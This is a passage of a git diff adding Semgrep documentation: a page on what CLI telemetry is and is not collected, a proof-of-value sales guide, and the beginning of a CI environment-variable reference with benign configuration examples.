+- [how to change when Semgrep sends metrics](#automatic-collection-opt-in-and-opt-out)
+- [what data is not collected](#data-not-collected)
+- [what data is collected](#data-collected-as-metrics)
+
+## Principles
+
+These principles inform our decisions around data collection:
+
+1. **Transparency**: Collect and use data in a way that is clearly explained to the user and benefits them
+2. **User control**: Put users in control of their data at all times
+3. **Limited data**: Collect what is needed, pseudoanonymize where possible, and delete when no longer necessary
+
+## Automatic collection, opt-in, and opt-out
+
+```bash
+$ semgrep --config=myrule.yaml # → no metrics (loading rules from local file)
+$ semgrep --config=p/python # → metrics enabled (fetching Registry)
+$ semgrep login && semgrep ci # → metrics enabled (logged in to semgrep.dev)
+```
+
+Semgrep does **not** enable metrics when running with only local configuration files or command-line search patterns.
+
+Semgrep does enable metrics if rules are loaded from the [Semgrep Registry](https://semgrep.dev/r). This helps maintainers improve the correctness and performance of registry rules.
+
+Metrics may also be configured to be sent on every run, or never sent.
+
+To configure metrics, pass the `--metrics` option to Semgrep:
+
+- `--metrics auto`: (default) metrics are sent whenever rules are pulled from the [Semgrep Registry](https://semgrep.dev/r) or the user is logged in.
+- `--metrics on`: metrics are sent on every Semgrep run
+- `--metrics off`: metrics are never sent
+
+Alternatively, set the `SEMGREP_SEND_METRICS` environment variable to `auto`, `on`, or `off`.
+
+Note that certain Semgrep integrators turn on metrics for every run. For example, [GitLab's Semgrep SAST analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) uses `--metrics on` by default.
+
+## Data NOT collected
+
+### Data NOT collected ever
+
+We strive to balance our desire to collect data for improving Semgrep with our users' need for privacy and security. After all, we are a security tool! The following never leave your environment and are not sent or shared with anyone.
+
+- Source code
+- Private rules
+
+### Data NOT collected unless explicitly requested
+
+The following data will never leave your environment as part of metrics.
+
+- Filenames
+- Git commit hashes, timestamps, messages, authors
+- User-identifiable data about Semgrep’s findings in your code, including finding messages
+
+This data will be sent to Semgrep AppSec Platform only if you explicitly request it, such as with `semgrep login && semgrep ci` to connect with Semgrep AppSec Platform. Even in that case, your source code and private rules will never be sent.
+
+## Data collected as metrics
+
+Semgrep CLI collects data to improve the user experience. Five types of data are collected:
+
+### Environmental
+
+Environmental data provide contextual data about Semgrep CLI’s runtime environment, as well as information that helps debug any issues users may be facing; e.g.
+
+- How long the command took to run
+- The version of Semgrep CLI
+- An [anonymous user ID](#anonymous-user-id) that identifies the machine
+- IP address that triggers a run
+- Value of the CI environment variable, if set
+- Pseudoanonymized hash of the scanned project’s name
+- Pseudoanonymized hash of the rule definitions run
+- Pseduoanonymized hash of the config option. *(Note that when a config option downloads a ruleset from the [https://semgrep.dev](https://semgrep.dev) registry, [feature usage metrics](#feature-usage) still include the ruleset name in plain text.)*
+
+### Performance
+
+Performance data enable understanding of which rules and types of files are slow in the aggregate so Semgrep, Inc can improve the program-analysis engine, query optimizer, and debug slow rules; e.g.
+
+- Runtime duration
+- Duration of individual phases (e.g. parsing)
+- Total number of rules
+- Total number of files
+- Project size in bytes
+
+### Parse Rates
+
+Aggregated parse rate information is reported on a per-language basis; e.g.,
+
+- Number of targeted files
+- Number of files without any parse-related error
+- Number of bytes across targeted files
+- Number of bytes without any parse-related error
+
+### Errors
+
+High-level error and warning classes encountered when run; e.g.
+
+- Semgrep’s return code
+- The number of errors
+- Compile-time error names, e.g., MaxFileSizeExceeded, SystemOutOfMemory, UnknownFileEncoding
+
+### Value
+
+Data that indicate how useful a run is for the end user; e.g.
+
+- Number of raised findings
+- Number of ignored findings
+- Pseudoanonymized hashes of the rule definitions that yield findings
+- The [features used](#feature-usage) during the scan
+- The engine type requested for the scan
+
+### Extension
+
+Additional data is reported when used in conjunction with an IDE integration, such as the [Semgrep VS Code Extension](https://github.com/semgrep/semgrep-vscode), that help us understand what IDEs are used and how helpful the integrations are for users; e.g.
+
+- IDE being used
+- Version of IDE integration
+- Number of fixes triggered through the integration
+- Number of findings ignored through the integration
+
+Note: For all officially supported Semgrep IDE integrations, these metrics can be disabled via settings in the IDE. By default these settings follow any global telemetry/metrics settings the user may have already set for the IDE itself.
+
+### Pseudoanonymization
+
+Certain identifying data (e.g. project URLs) are pseudoanonymized before being sent to the Semgrep, Inc backend.
+
+"Pseudoanonymized" means the data are transformed using a deterministic cryptographically secure hash. When the input data are unknown, this hash is expensive to reverse. However, when input data are known, a reverse dictionary of identifiers to hashes can be built. Hence, data are anonymous only when the source values are unknown.
+
+We use a deterministic hash to:
+
+- Track performance and value improvements over successive runs on projects
+- Remove test data from our metrics
+
+Using a deterministic hash, however, implies:
+
+- An entity that independently knows the value of an input datum AND who has access to Semgrep, Inc's metrics data could access metrics for that known datum
+
+Semgrep, Inc will:
+
+- Treat collected metrics data as secret, using application-security best practices, including (but not limited to)
+ - Encryption during transit and rest
+ - Strict access control to data-storage systems
+ - Application-security-policy requirements for third parties (e.g. cloud-service providers; see "data sharing" below)
+- Only correlate hashed data to input data when these inputs are already known to Semgrep, Inc (e.g. publicly available project URLs for open-source projects, or projects that log in to the Semgrep Registry)
+
+## Description of metrics fields
+
+| Category | Field | Description | Use Case | Example Datum | Type |
+| --- | --- | --- | --- | --- | --- |
+| Environment | | | | | |
+| | Timestamps (started/sent) | Time when the event fired | Understanding tool usage over time | 2021-05-10T21:05:06+00:00 | String |
+| | Event ID | A random UUID generated when sending the event. | Deduplicating events in case of issues during transmission | 222bcccd-9dc2-4d10-ac3a-5692460e77ee | String |
+| | [Anonymous User ID](#anonymous-user-id) | A random UUID generated on first run. | Unique users per ruleset and feature. Understanding percentage of logged in users. | 5f52484c-3f82-4779-9353-b29bbd3193b6 | String |
+| | Version | Semgrep version being used | Reproduce and debug issues with specific versions | 0.51.0 | String |
+| | Project hash | One-way hash of the project URL | Understand performance and accuracy improvements | `c65437265631ab2566802d4d90797b27fbe0f608dceeb9451b979d1671c4bc1a` | String |
+| | Rules hash | One-way hash of the rule definitions | Understand performance improvements | `b03e452f389e5a86e56426c735afef13686b3e396499fc3c42561f36f6281c43` | String |
+| | Config hash | One-way hash of the config argument | Understand performance and accuracy improvements | `ede96c41b57de3e857090fb3c486e69ad8efae3267bac4ac5fbc19dde7161094` | String |
+| | Is authenticated | Whether the user logged in to semgrep.dev with `semgrep login` | Understand popularity of logged in features | `false` | Boolean |
+| | Deployment ID | The ID organization associated with the logged in account | Understand popularity of logged in features by organization | 1234 | Number |
+| | Integration name | If Semgrep is being called by another tool, optional name of that integration | Reproduce and debug issues specific integrations | `gitlab` | String |
+| | CI | Notes if Semgrep is running in CI and the name of the provider | Reproduce and debug issues with specific CI providers | GitLabCI v0.13.12 | String |
+| | Client IP | IP address that triggered a run | Understand broad ruleset usage | 0.0.0.0 | String |
+| | | | | | |
+| Performance | | | | | |
+| | Duration | How long the command took to run | Understanding aggregate performance improvements and regressions | 14.13 | Number |
+| | Total Rules | Count of rules | Understand how duration is affected by #rules | 137 | Number |
+| | Total Files | Count of files | Understand how duration is affected by #files | 4378 | Number |
+| | Total Bytes | Summation of target file size | Understand how duration is related to total size of all target files | 40838239 | Number |
+| | Rule Stats | Performance statistics (w/ rule hashes) for slowest rules | Debug rule performance | `[{"ruleHash": "7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166","parseTime": 0,"matchTime": 0.05480456352233887,"runTime": 0.20836973190307617,"bytesScanned": 0}]` | StatsClass\[\] |
+| | File Stats | Performance statistics for slowest files | Debug rule performance | `[{"size": 6725,"numTimesScanned": 147,"parseTime": 0.013289928436279297,"matchTime": 0.05480456352233887,"runTime": 0.20836973190307617}]` | StatsClass\[\] |
+| | | | | | |
+| | | | | | |
+| Parsing | | | | | |
+| | Total Files | Count of files, on a per-language basis | Understand parsing performance | 143 | Number |
+| | Total Bytes | Summation of target file size, likewise grouped | Understand parsing performance | 41244 | Number |
+| | Parsed Files | Count of files without parse errors | Understand parsing performance | 140 | Number |
+| | Parsed Bytes | Count of bytes without any parse errors | Understand parsing performance | 40312 | Number |
+| | | | | | |
+| Errors | | | | | |
+| | Exit Code | Numeric exit code | Debug commonly occurring issues and aggregate error counts | 1 | Number |
+| | Number of Errors | Count of errors | Understanding avg #errors | 2 | Number |
+| | Number of Warnings | Count of warnings | Understanding avg #warnings | 1 | Number |
+| | Errors | Array of Error Classes (compile-time-constant) | Understand most common errors users encounter | `["UnknownLanguage", "MaxFileSizeExceeded"] ` | ErrorClass\[\] |
+| | Warnings | Array of Warning Classes (compile-time-constant) | Understand most common warnings users encounter | `["TimeoutExceeded"]` | WarningClass\[\] |
+| | | | | | |
+| Value | | | | | |
+| | Engine requested | The engine type requested by the user | Understand which engines are being used; debug engine-specific problems | `"OSS"` | |
+| | Engine configuration | The specific engine configuration | Understand which engines are being used; debug engine-specific problems | `{ analysis_type: "Interfile", pro_langs: true, code_config: {} }` | str |
+| | Interfile languages used | The languages for which the interfile engine was actually invoked | Understand which interfile languages are being used; measure performance impact and errors | `["C#"]` | str |
+| | [Features used](#feature-usage) | List of strings that identify Semgrep features used | Understand what features users find valuable, and what we could deprecate | `["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"]` | Object |
+| | Rule hashes with findings | Map of rule hashes to number of findings | Understand which rules are providing value to the user; diagnose high false-positive rates | `{"7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166": 4}` | Object |
+| | Total Findings | Count of all findings | Understand if rules are super noisy for the user | 7 | Number |
+| | Findings per product | Count of findings broken down by product | Understand the value that each product provides to the user | `{"code": 5, "secrets": 7, "supply-chain": 10}` | Object |
+| | Total Nosems | Count of all `nosem` annotations that tell semgrep to ignore a finding | Understand if rules are super noisy for the user | 3 | Number |
+| | | | | | |
+
+|Extension|||||| | |Machine ID|A random UUID generated by the IDE itself|Understanding number of unique users using IDE integrations|`222bcccd-9dc2-4d10-ac3a-5692460e77ee`|String| | |Is New App Install|If the user just installed the IDE integration|Understand common issues with setting up IDE integrations|`false`|Boolean| | |Session ID|A random UUID generated everytime the integration starts up, usually when opening a project|Understand errors that commonly happen together, deduplicate errors|`222bcccd-9dc2-4d10-ac3a-5692460e77ee`|String|
+
+| |Integration version|Current version of the IDE integration|Reproduce and debug issues with specific versions|`1.8.0`| String| | |Integration type|IDE being used|Reproduce and debug issues with specific integrations|`vscode`|String| | |Autofix count|How many autofixes have been triggered through the integration|Understand the value that the integration provides to the user in helping remediate code issue|10|Number| | |Ignore count|How many findings have been ignored by the user through the integration|Understand the quality and noisiness of rules|5|Number|
+
+### Anonymous user ID[](#anonymous-user-id "Direct link to Anonymous user ID")
+
+> `anonymous_user_id: "5f52484c-3f82-4779-9353-b29bbd3193b6"`
+
+To help improve Semgrep products, the Semgrep CLI generates a Universally Unique Identifier (UUID) which is saved locally to a `~/.semgrep/settings.yml` file when the ID does not already exist.
+
+The Semgrep team uses this ID to help answer the following questions:
+
+- > How many people use a given rule/ruleset/snippet?
+ This enables the Semgrep team to assess their performance, and we're planning to make these numbers public for all rule authors in the community.
+- > What percentage of users log in?
+ We use this to evaluate our success as we build new authenticated features for the Semgrep Cloud Platform.
+- > How often are individual subcommands and CLI features used?
+ This helps our product and developer experience teams measure feature adoption rate, analyze anonymized usage, and compare cohort behavior to improve our product offerings.
+
+### Feature usage
+
+> `"features": ["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"]`
+
+Examples of such features are: languages scanned, CLI options passed, keys used in rules, or certain code paths reached, such as using an :include instruction in a .semgrepignore file. These strings do NOT include user data or specific settings. As an example, for `semgrep scan --output=secret.txt` Semgrep sends `"option/output"` but will NOT send `"option/output=secret.txt"`.
+
+The list of features tracked as of June 2022 is:
+
+- `language`: What languages were scanned
+- `cli-flag`/`cli-envvar`: What options were configured (does NOT include their value)
+- `config`: What method was used to retrieve rules (does NOT include any of the rule)
+- `registry-query`: The value of a `--config r/foo.bar.baz` setting, limited to the first word (e.g. `r/foo..` in this example)
+- `ruleset`: The value of a `--config p/foobar` setting
+- `semgrepignore`: Whether an `:include` statement was used in a .semgrepignore file
+- `subcommand`: What subcommand was used (e.g. `scan` or `ci`)
+
+The Semgrep team uses this to answer the following questions:
+
+- > How many people use a given feature?
+ This guides our development, and lets us decide when and how to deprecate features.
+- > How does feature usage affect finding counts, error counts, and performance?
+ We use this to evaluate experimental features and understand their production-readiness.
+
+> Engine requested (OSS, Pro, Interfile)
+
+The engine requested is stored separately from the other features. This is the engine indicated by the user through app toggles or CLI flags. We use this for debugging as well as to understand which engines people are using.
+
+### Sample metrics[](#sample-metrics "Direct link to Sample metrics")
+
+This is a sample blob of the aggregate metrics described above:
+
+```js expandable
+{
+ "started_at": "2021-05-10T21:05:06+00:00",
+ "sent_at": "2021-05-10T21:05:09+00:00",
+ "event_id": "222bcccd-9dc2-4d10-ac3a-5692460e77ee",
+ "anonymous_user_id": "5f52484c-3f82-4779-9353-b29bbd3193b6",
+ "environment": {
+ "version": "0.51.0",
+ "ci": "true",
+ "configNamesHash": "ede96c41b57de3e857090fb3c486e69ad8efae3267bac4ac5fbc19dde7161094",
+ "projectHash": "c65437265631ab2566802d4d90797b27fbe0f608dceeb9451b979d1671c4bc1a",
+ "rulesHash": "b03e452f389e5a86e56426c735afef13686b3e396499fc3c42561f36f6281c43",
+ "isAuthenticated": false
+ },
+ "performance": {
+ "runTime": 37.1234233823,
+ "numRules": 2,
+ "numTargets": 573,
+ "totalBytesScanned": 33938923,
+ "ruleStats": [{
+ "ruleHash": "7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166",
+ "parseTime": 0,
+ "matchTime": 0.05480456352233887,
+ "runTime": 0.20836973190307617,
+ "bytesScanned": 0
+ }],
+ "fileStats": [{
+ "size": 6725,
+ "numTimesScanned": 147,
+ "parseTime": 0.013289928436279297,
+ "matchTime": 0.05480456352233887,
+ "runTime": 0.20836973190307617
+ }]
+ },
+ "parse_rate": {
+ "python": {
+ "num_targets": 102,
+ "targets_parsed": 101,
+ "num_bytes": 985123,
+ "bytes_parsed": 993419
+ },
+ "ruby": {
+ "num_targets": 12,
+ "targets_parsed": 12,
+ "num_bytes": 341027,
+ "bytes_parsed": 341027
+ }
+ },
+ "errors": {
+ "returnCode": 1,
+ "errors": ["UnknownLanguage"],
+ "warnings": ["MaxFileSizeExceeded", "TimeoutExceeded"]
+ },
+ "value": {
+ "ruleHashesWithFindings": {"7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166": 4},
+ "numFindings": 7,
+ "numIgnored": 3,
+ "features": ["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"],
+ "engineRequested": "OSS",
+ "engineConfig": { analysis_type: "Intraprocedural", pro_langs: false }
+ }
+}
+```
+
+## Data collected when explicitly requested
+
+For Semgrep AppSec Platform users running `semgrep ci` while logged in, data is sent to power your dashboard, notification, dependency search, and finding management features. These data are ONLY sent when using `semgrep ci` in a platform-connected mode and are not sent when not logged in.
+
+Three types of data are sent to Semgrep, Inc servers for this logged-in use case: scan data, findings data, and dependencies data.
+
+**Scan data** provide information on the environment and performance. They power dashboards, identify anomalies with the product, and are needed for billing. The classes of scan data are:
+
+- Project identity (e.g., name, URL)
+- Scan environment (e.g., CI provider, OS)
+- Author identity (e.g., committer email)
+- Commit metadata (e.g., commit hash and timestamp)
+- Review and review-requester identifying data (e.g., pull-request ID, branch, merge base, request author)
+- Scan metadata, including type of scan and scan parameters (e.g., paths scanned and extensions of ignored files)
+- Timing metrics (e.g., time taken to scan per-rule and per-path)
+- Parse metrics (e.g., number of files targeted and parsed per-language)
+- Semgrep CLI environment (e.g., version, interpreter, timestamp)
+
+**Findings data** are used to provide human readable content for notifications and integrations, as well tracking results as new, fixed, or duplicate. The classes of findings data are:
+
+- Check ID and metadata (as defined in the rule definition; e.g., OWASP category, message, severity)
+- Code location, including file path, that triggered findings
+- A one-way hash of a unique code identifier that includes the triggering code content
+- Dependency name and version (only sent when using Semgrep Supply Chain)
+- Source code is NOT collected
+
+**Dependencies data** are used to power Dependency Search and License Compliance. The classes of dependencies data are:
+
+- Package name (e.g., lodash)
+- Package version (e.g., 1.2.3)
+- File path for lockfile (e.g., frontend/yarn.lock)
+- Analysis of external dependency calls. (e.g., from flask import Response, Response(status=204))
+
+## Debugging data collected when traces are requested
+
+To help debug performance issues, Semgrep CLI can send traces, enabled via `--trace`. Traces are never sent unless the `--trace` flag is included, and are never retained for more than 30 days.
+
+There are three modes of tracing.
+
+1. Info (`--trace`): basic tracing. Sends basic info about settings passed via environment variables or flags, and timings around scan phases.
+2. Debug (`--trace` with `SEMGREP_TRACE_LEVEL=debug`): debug tracing. Sends additional timings, particularly around functions run during taint analysis, timings about each file as it undergoes pre-processing and then matching. Includes the file path and sometimes rule names.
+3. Trace (`--trace` with `SEMGREP_TRACE_LEVEL=trace`): even more detailed debug tracing.
+
+All traces are sent in Opentelemetry format and may include:
+
+- Semgrep function currently running (e.g. `Match_tainting_mode.check_rules`)
+- Start time (e.g. `1718775054055113`)
+- Duration (e.g. `934956`)
+- Settings passed (e.g. `--jobs`, `--timeout`)
+
+Additionally, summary data is always included in the top level trace, such as:
+
+- Repo name (e.g. `semgrep-app`)
+- Number of matches (e.g. `2`)
+- Number of errors (e.g. `1`)
+- Number of rules (e.g. `12`)
+- Number of targets (e.g. `128`)
+- Is a diff scan (e.g. `false`)
+- Is an interfile scan (e.g. `true`)
+- Cryptographic hash of rules (e.g. `One-way hash of the rule definitions`)
+- Other scan settings of a similar nature. Summary data will only include information that `semgrep ci` has access to.
+
+Additionally, informational, warning, and error logs will be included when tracing is enabled, which may include:
+
+- Stacktraces from when Semgrep crashes
+- Warnings about high memory usage
+- Informational logs about which stage of scanning Semgrep is performing
+
+No information will be sent in the info mode that would not be sent by `semgrep ci`.
+
+In debug and trace mode only, traces may also include:
+
+- file paths (e.g. `src/my_file.py`)
+- Hashed function names (e.g. `d40fdc8ef9bf7b7dd1b014533a58a05e9b98d7dd856784352201388fe5e22673`)
+- Hashed variable names (e.g. `0268934f5c43d1b5fc7d52d9efe17c69f1144b108c384c3513cbe493043712b3`)
+
+These data help us establish if a function is being analyzed for taint more times than expected.
+
+Debug and trace mode are meant for one-off debugging of slow scans, and data from these trace modes will not be retained for more than a week.
+
+## Registry fetches
+
+Certain Registry resources require log-in to the Semgrep Registry. Log in may be performed using your project URL, or a Semgrep.dev API token. When using these resources, your project's identity will be recorded by the Semgrep Registry servers.
+
+## Data sharing
+
+We use some third party companies and services to help administer and provide Semgrep, for example for hosting, customer support, product usage analytics, and database management. These third parties are permitted to handle data only to perform these tasks in a manner consistent with this document and are obligated not to disclose or use it for any other purpose.
+
+We do not share or sell the information provided to us with other organizations without explicit consent, except as described in this document.
\ No newline at end of file
diff --git a/mintlify-docs/snippets/run-a-successful-pov.mdx b/mintlify-docs/snippets/run-a-successful-pov.mdx
new file mode 100644
index 0000000000..f9a498b53c
--- /dev/null
+++ b/mintlify-docs/snippets/run-a-successful-pov.mdx
@@ -0,0 +1,184 @@
+
+**START A POV**
+
+To start a proof-of-value (POV), contact Sales at [ sales@semgrep.com](mailto:sales@semgrep.com).
+
+
+Run a POV to learn more about Semgrep solutions and receive support that is specific to your infrastructure and business needs. During a POV, you receive dedicated sales, engineering, and support resources to ensure that every Semgrep feature that supports your infrastructure is implemented quickly and reliably.
+
+## POV requirements
+
+To run a successful POV, the Semgrep team needs your organization's decisions regarding these factors:
+
+- **The team involved in running the POV**
+ - Who among your organization will be evaluating Semgrep? Semgrep creates accounts for everyone on the team who is involved in the POV.
+- **The method to scan the repositories used in the POV**
+ - **Recommended: Semgrep Managed Scans (SMS)**
+ - This is the fastest way to deploy Semgrep to the repositories you want to scan. It requires access to your code, which can be limited to only certain repositories.
+ - **CI/CD**
+ - This method relies on a CI configuration file, such as a GitHub Actions workflow file. A CI/CD job must be created for each repository you want to scan.
+- **The technical resources**
+ - You must decide on and communicate the repositories you want Semgrep to scan for the POV.
+ - You must decide on and communicate to Semgrep your account management, infra, and tech needs.
+
+
+**BENEFITS OF SEMGREP MANAGED SCANS**
+
+SMS is the **fastest** and **most scalable** deployment method, since it enables you to add repositories for scanning without the need for CI integrations. However, SMS requires access to your code.
+
+
+## Summary
+
+The following table includes a short summary of the POV process.
+
+| Step | Activities |
+| :--- | :--- |
+| Both parties agree to run a POV |
Verify that your technical stack is supported by Semgrep.
Begin gathering necessary permissions from your organization for **technical resources** to run the POV.
|
+| Pre-POV kickoff call and preparation |
Both parties establish success criteria and alignment of the POV goals through a **kickoff call**.
Semgrep prepares for the POV by creating a dedicated Slack channel and other necessary accounts.
|
+| Formal POV period |
Semgrep deployment rollout.
Detection and remediation of findings.
Analysis of Semgrep ROI.
|
+| Optional POV activities |
A roadmap call with the Semgrep product team.
A rule-writing session where you can learn how to write custom Semgrep rules.
|
+| POV conclusion | Semgrep sets up a wrap-up call that discusses Semgrep's performance and your feedback about Semgrep. |
+
+## General steps
+
+Running a POV involves the following steps:
+
+
+
+POV agreement between both parties
+
+
+Pre-POV or kickoff period
+
+
+Formal POV period
+
+
+POV conclusion
+
+
+
+You can also participate in optional activities:
+
+- Roadmap call
+- Rule-writing session
+
+Refer to the following sections for details.
+
+### Both parties agree to run a POV
+
+- From your end (the buyer), a need has been identified and a budget has been allocated.
+- From Semgrep's end, the team has verified, with your help, that your technical stack is supported by Semgrep. This includes:
+ - Programming languages
+ - Source code managers
+ - Account management
+ - Other factors
+- **Optional**: If you'd like a **technical deep dive** of Semgrep from a sales engineer, you can request one through your account executive.
+- Semgrep recommends that **the buyer (you) start gathering and gaining approvals** from your organization for resources needed to run the POV, such as repository access.
+
+### Pre-POV stage
+
+#### Kickoff call
+
+- During the pre-POV kickoff call, both parties set **success criteria**.
+- You and your organization can define the success criteria, or Semgrep can assist you in creating them.
+- The pre-POV kickoff call ensures that all stakeholders are aligned for the goals of the POV.
+- It also ensures that the technical requirements for both parties are clearly communicated.
+
+#### Preparation for POV
+
+In preparation for the POV, Semgrep performs the following tasks:
+
+- Sets up **one (1) trial license** for your organization.
+- Sets up a **dedicated Slack channel** where you can reach out to the team during the POV.
+- Creates an account in Semgrep AppSec Platform for your organization.
+- Connects your source code manager, such as GitHub or Bitbucket, to Semgrep.
+- Sets up SSO if you require it.
+- For on-premise environments, Semgrep sets up the Network Broker to facilitate secure access between Semgrep and your private network.
+
+### Formal POV period
+
+This is a **two-week** period in which Semgrep assists you in deployment, scanning, triage, reporting, and all other related functions for a successful security program.
+
+It is broken into three smaller phases.
+
+#### Semgrep deployment rollout
+
+In this phase, the Semgrep team assists you in completing the following tasks:
+
+- Add repositories for scanning through SMS or through a CI/CD job
+- View findings in Semgrep AppSec Platform for scanned repositories within the POV's scope
+- Enable Multimodal, ensuring that it's analyzing full scan findings
+- Prepare to set up pull request or merge request comments (PR or MR comments) and involve developers in Semgrep
+
+#### Detection and remediation of findings
+
+In this phase, the Semgrep team assists you in completing the following tasks:
+
+- Review the quality of findings with out-of-the-box rules
+- Show how Semgrep **filters out noise** with:
+ - Memories and triage for Semgrep Code
+ - Direct and transitive reachability for Semgrep Supply Chain
+ - Secrets validation for Semgrep Secrets
+- Improve developer experience through contextual, actionable vulnerability information:
+ - Inline PR comments or MR comments
+ - Tailored remediation guidance in PR comments or MR comments
+ - Breaking changes and upgrade guidance for Supply Chain findings
+- Integrate Jira for ticket creation and Slack for notifications if these are part of the success criteria
+
+#### Semgrep return-on-investment
+
+In the final phase, the Semgrep team provides you with data on the return on investment that Semgrep provides, compared to your existing security program.
+
+Some metrics include:
+
+- The number of developers in your company and the cost per developer per hour
+- Number of hours **reduced** per developer, per year in triage time, research and fix time by having Semgrep Multimodal provide Suggested fixes and triage recommendations
+- Number of hours reduced in triage time per developer by having the ability to detect if secrets are valid or invalid
+- Reduction in review time with Semgrep Supply Chain reachability analysis
+
+### Optional POV activities
+
+Feel free to request the following:
+
+- **Roadmap call**. You can request a call with the Product team to learn about Semgrep's upcoming features and approaches.
+- **Rule-writing session**. Learn how to write Semgrep rules to customize Semgrep for your organization's unique code standards.
+
+### POV conclusion
+
+When the POV ends, Semgrep sets up a wrap-up call that discusses the following:
+
+- Semgrep's performance measured against the evaluation criteria
+- Your feedback about Semgrep
+
+## Trial license duration
+
+The trial license duration lasts for 30 days.
+
+## Appendix: common questions and evaluation criteria
+
+
+
+
+- **Feature set**
+ - What features and language support do you need?
+ - How easy is it to set up a Semgrep POV environment?
+- **Deployment**
+ - Does Semgrep support your unique infrastructure or network needs?
+ - Does Semgrep support your SCM and CI provider? Can you easily deploy Semgrep through SMS?
+- **Integrations and notifications**
+ - Do the Semgrep integrations support your workflows for that tool? For example, does Semgrep support your custom fields in Jira?
+ - Are your custom workflows supported by the Semgrep API?
+- **Findings and reports**
+ - What percent of findings are true positives? How does this compare with previous tools?
+ - Is Semgrep Multimodal (AI) able to reduce false positives?
+ - Does the dashboard assist you in tracking secure guardrails?
+- **Security**
+ - Can Semgrep handle your sensitive data securely?
+ - Can Semgrep successfully block PRs based on the criteria you need to set?
+- **Support and documentation**
+ - How easy is it to work with the Semgrep support team? Do they respond within the timeframe provided to you?
+ - Does the documentation provide you with a clear explanation of the product and features? Was it easy for you to find answers?
+
+
+
diff --git a/mintlify-docs/snippets/semgrep-ci/ci-environment-variables.mdx b/mintlify-docs/snippets/semgrep-ci/ci-environment-variables.mdx
new file mode 100644
index 0000000000..cc33651c72
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-ci/ci-environment-variables.mdx
@@ -0,0 +1,327 @@
+Use this reference to configure Semgrep's behavior in CI environments by setting environment variables. You can set these variables within a CI configuration file or your CI provider's interface. Refer to your CI provider's documentation for the correct syntax. Examples are written for a Bash environment unless otherwise stated.
+
+
+**TEST ENVIRONMENT VARIABLES LOCALLY**
+
+- Semgrep attempts to autodetect CI environment variables necessary to run CI scans. You can override these values by setting variables explicitly.
+- You can also set many of these environment variables within your local development environment. Set these variables in your command line then run `semgrep ci` while logged in Semgrep CLI to test these environment variables locally.
+
+
+
+## Environment variables for configuring scan behavior
+
+These environment variables configure various aspects of your CI job, such as a job's timeout or source of rules.
+
+### `SEMGREP_APP_TOKEN`
+
+
+**PREREQUISITES**
+
+* You must have a Semgrep AppSec Platform account to use this environment variable.
+* You must have a Semgrep AppSec Platform token. To generate a token, see [Creating a `SEMGREP_APP_TOKEN`](/deployment/add-semgrep-to-other-ci-providers#create-a-semgrep_app_token).
+
+
+Set `SEMGREP_APP_TOKEN` to send findings to Semgrep AppSec Platform and use rules from the **Policies** page. `SEMGREP_APP_TOKEN` is incompatible with `SEMGREP_RULES`.
+
+Example:
+
+```bash
+export SEMGREP_APP_TOKEN="038846a866f19972ba435754cab85d6bd926ca51107029249eb88441271341ad"
+```
+
+**CAUTION**
+
+Do not set `SEMGREP_RULES` environment variable within the same CI job as `SEMGREP_APP_TOKEN`.
+
+
+
+### `SEMGREP_BASELINE_REF`
+
+Set `SEMGREP_BASELINE_REF` to enable **[diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** for CI providers that are **not** GitHub Actions or GitLab CI/CD. `SEMGREP_BASELINE_REF` typically is set to your codebase's default or trunk branch, such as `main` or `master`.
+
+Example:
+
+```bash
+export SEMGREP_BASELINE_REF="main"
+```
+
+**INFO**
+
+`SEMGREP_BASELINE_REF` is superseded by `SEMGREP_BASELINE_COMMIT`.
+
+
+### `SEMGREP_BASELINE_COMMIT`
+
+Set `SEMGREP_BASELINE_COMMIT` to a commit hash to use that hash as a baseline for the scan. This means the scan will only show findings that were **not** already present at that hash; any findings that were already present in that hash will not be reported. Generally this is used to enable **[diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** for CI providers that are **not** GitHub Actions or GitLab CI/CD.
+
+This environment variable doesn't work if you are not currently in a Git directory, there are unstaged changes, or the given baseline hash doesn't exist or is not available in the CI environment.
+
+If you set `SEMGREP_BASELINE_COMMIT` in CI to enable diff-aware scanning, the ideal value is the git merge-base between the branch being scanned and the target branch that the code will be merged into. For example:
+
+```bash
+export SEMGREP_BASELINE_COMMIT=$(git merge-base main feature-brach)
+```
+To avoid hardcoding the branch names, check your CI provider's documentation for available variables that provide the correct values for every CI job. For example, in a Jenkins environment, you can use:
+
+```bash
+SEMGREP_BASELINE_REF=$(git merge-base $GIT_BRANCH $CHANGE_TARGET)
+```
+
+
+**INFO**
+
+The value of `SEMGREP_BASELINE_COMMIT` is superseded when the option `--baseline-commit` is set as part of the scan command.
+
+
+### `SEMGREP_ENABLE_VERSION_CHECK`
+
+Set `SEMGREP_ENABLE_VERSION_CHECK` to 0 to **disable** version checks when running `semgrep ci`. By default, Semgrep checks for new versions.
+
+Example:
+
+```bash
+# Disable version checks when running semgrep ci:
+export SEMGREP_ENABLE_VERSION_CHECK="0"
+```
+
+### `SEMGREP_GHA_MIN_FETCH_DEPTH`
+
+
+**TIP**
+
+Only set `SEMGREP_GHA_MIN_FETCH_DEPTH` if you are encountering findings duplication within your diff-aware scans.
+
+
+Set `SEMGREP_GHA_MIN_FETCH_DEPTH` to configure the **minimum** number of commits `semgrep ci` fetches from `remote` when calculating the merge-base in GitHub Actions. For optimal performance, set `SEMGREP_GHA_MIN_FETCH_DEPTH` with a higher number of commits. Having more commits available helps Semgrep determine what changes came from the current pull request, fixing issues where Semgrep would otherwise report findings that were not touched in a given pull request. This value is set to 0 by default.
+
+Example:
+
+```bash
+export SEMGREP_GHA_MIN_FETCH_DEPTH="10"
+```
+
+### `SEMGREP_GIT_COMMAND_TIMEOUT`
+
+Set `SEMGREP_GIT_COMMAND_TIMEOUT` to set a timeout for each individual Git command that Semgrep runs. The value is in seconds. The default value is 300 seconds (5 minutes).
+
+Example:
+
+```bash
+# Set each Git command that Semgrep runs to timeout in 3 minutes:
